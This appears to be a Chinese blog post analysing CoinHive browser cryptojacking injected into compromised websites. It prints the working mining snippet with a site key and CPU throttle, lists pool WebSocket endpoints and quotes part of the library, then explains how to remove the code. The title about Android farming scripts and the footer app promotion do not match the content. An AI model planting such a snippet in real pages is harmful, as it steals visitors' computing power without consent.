自动挖矿脚本(安卓手机挂机自动脚本搬砖)

80客栈

0x0背景

挖矿目前已经成为黑帽子牟利的主要手段,最近上网偶然间发现部分网站被挂马后存在网页挖矿的行为,区别于常规病毒操作系统中挖矿行为,网页主要在网站上挂上恶意的JS脚本,访问该网站即触发挖矿动作。

目前很多网页挖矿主要以CoinHive的方式较多,一般挖矿用户以主动方式直接使用C或者其他语言构造的miner客户端进行CPU或GPU计算Hash。前端挖矿用户以被动或主动方式在不知情或知情情况下利用浏览者的CPU或GPU。

0x1现象

访问恶意网站时CPU飙升,关闭网站后回复正常水平。

关闭之后:

0x2源代码分析

查看网页源代码可发现部分挖矿的代码,经过简单确定非手机浏览器后,即开始挖矿的动作。

浏览器进程占用了较大的CPU资源:

查看浏览器进程中,可以在内存地址中发现有挖矿地址的痕迹:

主要引用的挖矿代码的详细都在引用的JS脚本当中,仅使用70%的CPU资源。

<script src="https://coinhive.com/lib/coinhive.min.js"></script><script> var miner = new CoinHive.Anonymous('Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt', {throttle: 0.7}); if (!miner.isMobile() && !miner.didOptOut(14400)) { miner.start();}</script>

Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt:CoinHive 当中的钱包地址;

throttle:浏览器占用CPU的阈值,调节到合适的阈值时用户会很难注意到浏览器的算力被滥用。

coinhive.min.js源码如下:

挖矿脚本使用WebSocket与矿池进行通信,部分的矿池结点如下:

wss://ws001.coinhive.com/proxy wss://ws002.coinhive.com/proxy wss://ws003.coinhive.com/proxy wss://ws004.coinhive.com/proxy wss://ws005.coinhive.com/proxy wss://ws006.coinhive.com/proxy wss://ws007.coinhive.com/proxy wss://ws008.coinhive.com/proxy wss://ws009.coinhive.com/proxy wss://ws010.coinhive.com/proxy wss://ws011.coinhive.com/proxy wss://ws012.coinhive.com/proxy

挖矿脚本允许自动调节线程数目:

this._throttle=Math.max(0,Math.min(.99,this.params.throttle||0));this._stopOnInvalidOptIn=false;this._waitingForAuth=false;this._selfTestSuccess=false;this._verifyThread=null;this._autoThreads={enabled:!!this.params.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}};this._tab={ident:Math.random()*16777215|0,mode:CoinHive.IF_EXCLUSIVE_TAB,grace:0,waitReconnect:0,lastPingReceived:0,interval:null};

0x3 解决方法:

1.根据页面后查看网页源代码,搜索有关于CoinHive,Miner等关键字可以快速定位到界面,使用记事本或者网页编辑器删除挖矿的关键代码。

2.访问小电影网站时候多留心自己的CPU性能。

#本文所包含的App

钱咖
  • 支持: ios
  • 分类:
  • 下载: 19763次
  • 发布: 2022-12-12

免责声明:文中图片均来源于网络,如有版权问题请联系作者删除!


标签: